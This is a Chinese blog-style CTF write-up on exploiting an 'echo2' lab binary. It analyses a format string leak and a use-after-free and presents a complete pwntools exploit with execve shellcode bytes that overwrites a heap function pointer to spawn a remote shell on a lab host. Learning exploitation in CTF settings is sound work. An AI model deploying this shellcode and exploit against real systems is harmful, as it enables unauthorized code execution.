首页 > 其他分享 >复习pwn

复习pwn

时间:2023-04-10 23:10:31浏览次数:37  
标签:复习 puts 写入 地址 pwn shellcode 我们 函数

分析漏洞文件: 1)通过checksec分析漏洞文件的安全属性: 图片.png Arch:amd64-64-little,程序架构信息,可以看出这是一个64位的程序。 RELRO:Partial RELRO,重定位表只读,无法写入。这里的显示是部分只读代表GOT(Global Offset Table)中的非plt部分是只读的,got.plt是可写的;Full RELRO则是整个GOT都是只读。 Stack:No canary found,这是canary是栈的一种保护方式,会在栈中加入用于验证是否溢出的cookie值,如果cookie值改变则代表溢出,会马上结束程序。这里没有设置canary。 NX:确保数据、堆栈所在的内存页等不可执行,这样就无法将写入缓冲区的shellcode执行,而其他区域(如代码段)不可写入。 PIE:随机化ELF文件的映射地址,无法知道程序的内存布局。 Has RWX segments:有可读写执行的段。 2)动态分析,通过本地执行程序分析其可能存在的漏洞: 首先它让我们输入一个名字,我们随便输入一个cxk,之后就让我们选择类型,我们选择1,发现显示not supported。 图片.png 然后选择2,它会出现一个hello cxk,然后我们可以输入内容,输入rap。结果它返回一个rap然后显示goodbye cxk。 图片.png 继续选择3,它的效果和2选项的效果相似。 图片.png 最后选择4退出,会发现它会让你确认是否退出,这里选择n则会继续进行选择。 图片.png 继续选4退出的话就出现了报错,并直接结束程序。 图片.png 这里提示我们对同一内存单元进行了两次free()操作,所以出现了错误。我们可以判断这个程序的退出选项存在一些问题,而double free detected in tcache 2 的提示说明可能在上一次退出的时,它已将内存单元进行了free操作,而此时由于我们直接退出,所以它又将上一次的那块内存单元有一次进行了free操作,这就是导致报错的原因。 free操作:释放内存空间;这里只是将内存标记位可使用,内存空间中原有的数据内容还有保留。 3)静态分析,使用IDA查看程序反编译出来的伪代码: 将程序拖入IDA(64位)中选中主函数,然后按F5查看伪代码。 图片.png 程序主函数代码: int __cdecl main(int argc, const char **argv, const char **envp) { _QWORD *v3; // rax unsigned int i; // [rsp+Ch] [rbp-24h] BYREF _QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; ((_QWORD )o + 4) = byebye; printf("hey, what's your name? : "); __isoc99_scanf("%24s", v6); v3 = o; (_QWORD )o = v6[0]; v3[1] = v6[1]; v3[2] = v6[2]; id = v6[0]; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; for ( i = 0; i != 121; i = getchar() ) { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> "); __isoc99_scanf("%d", &i); getchar(); if ( i > 3 ) break; ((void ()(void))func[i - 1])(); } if ( i == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)"); } puts("bye"); return 0; } 我们先从退出程序处的代码入手分析, 图片.png 通过执行时的效果我们可以很容易就了解到这里的代码含义,scanf将我们输入的数存入i中,然后根据i来分别执行不同的程序。 这里(func[i-1])();是函数的另一种写法(函数地址)(参数);在前一个括号中写入函数地址,后一个括号中写入参数就能调用此函数了。举例:puts(“abcd”); 相当于:(puts)(abcd)。func数组是一个函数数组,数组中每一个元素都是函数地址。 图片.png 如图,将函数地址存入数组中。qword_602088是func[1],只是IDA在反编译时没有将其反编译出来就用字节大小加地址来标识了。点击qword_602088可以看到具体情况。dq ?表示这里还没有存入变量。 图片.png 分析代码我们可以知道在我们选择4的时候,程序会先执行一个cleanup函数然后再显示是否选择退出。点击函数cleanup查看其内容: 图片.png cleanup的作用就是清楚指针o所指向的内存空间,这时候返回主函数查看指针o的内容。 图片.png o申请了0x28大小的内存空间,里面存入了greetings函数和byebye函数。 图片.png 图片.png 这时我们就清楚程序报错的原因了,程序在开始执行时向函数指针o中存入数据,当我们第一次退出时它会先free函数指针o指向的内存空间(标识为可使用),然后当我们第二次退出时就会因为函数指针o已经为以为可使用,但还要执行free操作而报错。 这里是释放了堆空间,并没有清除指针o。 分析echo2函数: 图片.png ((o+3))(o)和前面一样是函数的另一种写法(o+3)就是greetings函数,(o+4)是byebye函数,echo2函数的功能是将我们输入的内容进行打印,这里的printf没有做格式化输出,存在一个格式化字符串漏洞,可以让我们读取内存地址。

格式化字符串漏洞: 在使用printf时,要求格式化输出字符,%x,%d,%c等,然后再根据后面传入的参数地址,去打印出来。在执行printf函数的过程中,如果我们没有传入参数的地址,那么它会自动地去栈中相应位置读取数据进行打印。 格式化字符串漏洞的关键在于利用格式化参数,格式化参数是一个会存储在栈上的变量,这个变量如果被我们修改成指定地址,那么printf在执行时就会读取到该处的内容。但是单纯的地址变量是不能够获取到我们想要的内容的,所以在变量之后我们要加上格式化参数去偏移读取并解释我们输入地址的内容。

分析echo3函数: 图片.png echo3函数有创建堆空间的操作,并且还能向该内存空间进行写入操作,结合之前退出时先释放指针o的堆空间的操作,这里存在一个UAF漏洞。

UAF(use after free): 在堆空间被释放过后,马上申请一个非fast bin规格大小的堆空间,那么就会从unsorted bin中获得该堆空间,而这给堆空间就是刚才释放的堆空间。 用本实验的程序为例,我们释放o的堆空间后,马上又申请堆空间,那么我们得到的就是o的堆空间,o的堆空间(o+3)和(o+4)都是函数地址,echo3最后执行了(o+4),如果我们向(o+4)处写入我们写入的代码的地址,那么echo3函数最后执行的就是我们写入的代码。 图片.png 利用漏洞 1)漏洞利用思路: 在开始输入要求输入name时写入shellcode,通过echo2函数的格式化字符串漏洞确认我们写入的shellcode的地址;然后选择退出,释放o的堆空间,选择n取消退出;再通过echo3函数让指针s指向之前o的堆空间(利用UAF),然后通过指针s修改(o+4)处的地址,改为我们shellcode的地址,然后执行我们的shellcode。 2)编写exp from pwn import *

#p=process("./echo2") #本地执行程序 p=remote("192.168.10.128",2023) #连接远程靶机 #elf=ELF("./echo2")

p.recvuntil("hey, what's your name? : ") #接收到该内容 shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" p.sendline(shellcode) #写入shellcode p.recvuntil(b"> ") p.sendline(b"2")

payload=b"%10$p"+b"A"*3 #利用格式化字符串漏洞获取地址,AAA是为了方便读取 p.sendline(payload) p.recvuntil(b"0x") shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20 #获取shellcode地址,-0x20是减去了shellcode大小和return address、prev rbp

p.recvuntil(b"> ") p.sendline(b"4") p.recvuntil(b"to exit? (y/n)") p.sendline(b"n")

p.recvuntil(b"> ") p.sendline(b"3") p.recvuntil(b"hello \n") p.sendline(b"A"*24+p64(shellcode_addr)) #先填写24字节的脏数据(o的数据宽度为QDWORD,4字大小。)的,然后在(o+4)的位置写入shellcode地址 p.interactive() #开始交互 最后用python执行我们编写的exp: 图片.png 图片.png 图片.png 最后成功执行我们写入的shellcode,获得shell。查看用户名和flag都是远程靶机上的信息。

标签:复习,puts,写入,地址,pwn,shellcode,我们,函数
From: https://blog.51cto.com/u_15954070/6181574

相关文章

  • (之前的项目复习)我的Java项目实战--校园餐饮商户外卖系统02
    开发笔记二1.完善登录功能问题分析前面我们已经完成了后台系统的员工登录功能开发,但是还存在一个问题:用户如果不登录,直接访问系统首页面,照样可以正常访问。这种设计并不合理,我们希望看到的效果应该是,只有登录成功后才可以访问系统中的页面,如果没有登录则跳转到登录页面。那......
  • java并发编程(1):Java多线程-基本线程类-基础知识复习笔记
    复习资料:《同步与异步:并发/并行/进程/线程/多cpu/多核/超线程/管程 》基本线程类基本线程类基本线程类指的是Thread类,Runnable接口,Callable接口继承Thread创建线程继承java.lang.Thread类创建线程是最简单的一种方法,也最直接。publicclassMyThread1extendsThread{}种......
  • 新概念2册L80笔记(复习比较级和最高级)
    L80TheCrystaiPalace单词理解语法理解比较级/最高级区分高下比较(Lesson8Thebestandtheworst)例句:YiistallerthanLin例句:ThisistheworsthandwritingIhaveeverseenn.+erthan.../the比较级then.+estof/in最高级,of是对象范围,in环境范围规则变化:直接+er、......
  • Pwn刷题记录
    01[WUSTCTF2020]getshell2考点:栈溢出,ret2shellcode首先查看保护机制为32位小端程序,开启了栈不可执行。用IDA32查看伪代码追踪到vulnerable函数可以通过read实现溢出exp:frompwnimport*#p=process('./pwn')p=remote("1.14.71.254",'xxxxx')sh=0x08048670#0......
  • buuctf.pwn.[OGeek2019]babyrop
    可以看出,没有开什么特别的保护什么是plt,gpt,自己回顾一下hex(elf.plt['puts']).plt.got:08048548FF25D49F0408jmpds:puts_ptrhex(elf.got['puts']).got:08049FD46CA00408puts_ptrddoffset__imp_puts;DATAXREF:pu......
  • Angular 复习与进阶系列 – Naming Conversion
    前言命名规范对项目维护是很重要的.Angular对项目的渗透很大的,必须做好命名规范,不然会很乱. Angular NamingConversionInjectionToken=UPPER_SNAKE_CAREconstSERVICE_CONFIG_TOKEN=newInjectionToken('ServiceConfig'); elementattributeandproperty......
  • Linux系统与应用.复习题
    选择题用户编写了一个文本文件a.txt,想将该文件名称改为txt.a,下列命令D可以实现。A.cda.txtxt.aB.echoa.txt>txt.aC.rma.txttxt.aD.cata.txt>txt.aLinux文件权限一共10位长度,分成四段,第三段表示的内容是C。A.文件类型......
  • 思考 TypeScript namespace,复习 class 语法
    前言据我所知,早期JavaScript没有class语法,很多都是函数,即便是现在的class本质上也是一个函数。在这里不说函数与class之间的关系和区别。下面将从class语法上讲解,阐述为什么有class以及作用;对class语法进行了探讨之后,再思考TypeScript的namespace给我们带来......
  • C++复习-第一天
    C++支持完全面向对象的程序设计,包括面向对象开发的四大特性:封装;抽象;继承;多态。C++封装 C++抽象 C++继承 C++多态多态的实现方式分为三块:重载,重写,重定义。1.重载是指在同一作用域下,具有相同函数名称不同的参数类型,或不同的参数个数,或不同的返回类型。2.重写是指在......
  • 汇编第三章复习之七种寻址
    段寄存器:CS、DS、ES、SS1.指令指令由操作数码和操作数两部分构成操作码:说明计算机要执行的操作,如传送、运算、移位、跳转等操作,它是指令中不可缺少的组成部分。    操作数:是指令执行的参与者,即各种操作的对象。也就是指令执行操作过程中需要的操作数。2、寻址 1、......